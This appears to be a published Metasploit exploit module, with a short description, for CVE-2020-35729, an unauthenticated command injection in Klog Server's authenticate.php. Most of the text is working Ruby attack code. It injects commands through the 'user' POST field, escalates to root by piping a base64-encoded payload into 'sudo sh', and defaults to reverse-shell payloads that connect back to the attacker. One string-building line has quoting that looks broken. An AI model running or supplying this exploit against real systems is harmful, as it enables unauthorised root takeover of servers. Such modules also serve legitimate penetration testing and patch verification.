Authored by Brendan Coles, Metin Yunus Kandemir, B3KC4T | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability in Klog Server versions 2.4.1 and prior. The authenticate.php file uses the user HTTP POST parameter in a call to the shell_exec() PHP function without appropriate input validation, allowing arbitrary command execution as the apache user.

advisories | CVE-2020-35729

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Klog Server authenticate.php user Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
in Klog Server versions 2.4.1 and prior.

The `authenticate.php` file uses the `user` HTTP POST parameter in a call
to the `shell_exec()` PHP function without appropriate input validation,
allowing arbitrary command execution as the apache user.

The sudo configuration permits the apache user to execute any command
as root without providing a password, resulting in privileged command
execution as root.

This module has been successfully tested on Klog Server version 2.4.1
virtual appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b3kc4t', # Vulnerability discovery and exploit
'Metin Yunus Kandemir', # Metasploit module
'bcoles', # Metasploit module
],
'References' =>
[
['CVE', '2020-35729'],
['CWE', '78'],
['EDB', '49366'],
['EDB', '49474'],
['PACKETSTORM', '160798'],
['PACKETSTORM', '161123'],
['URL', 'https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER'],
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[unix linux],
'Targets' => [
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'Privileged' => true,
'DisclosureDate' => '2020-12-27',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true])
]
)
end

def login(user, pass)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'actions', 'authenticate.php'),
'vars_post' => {
'user' => user,
'pswd' => pass
}
})
end

def execute_command(cmd, _opts = {})
user = "#{rand_text_alpha(8..12)}" & "
if datastore['USE_SUDO']
user << "echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
else
user << cmd
end
user << ' & echo "'

pass = rand_text_alpha(8..12)
login(user, pass)
end

def check
sleep = rand(9..11)
t1 = Time.now.to_i
res = execute_command("sleep #{sleep}")
t2 = Time.now.to_i

unless res
return CheckCode::Safe('Connection failed')
end

unless res.code == 302 && res.headers['location'].to_s.include?('login.php?error')
return CheckCode::Safe("Unexpected reply (HTTP #{res.code}). Expected redirect (HTTP 302) to login error page.")
end

diff = t2 - t1

if diff < sleep
return CheckCode::Safe("No response within the expected period of time (#{sleep} seconds).")
end

CheckCode::Vulnerable("Response received after #{diff} seconds.")
end

def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end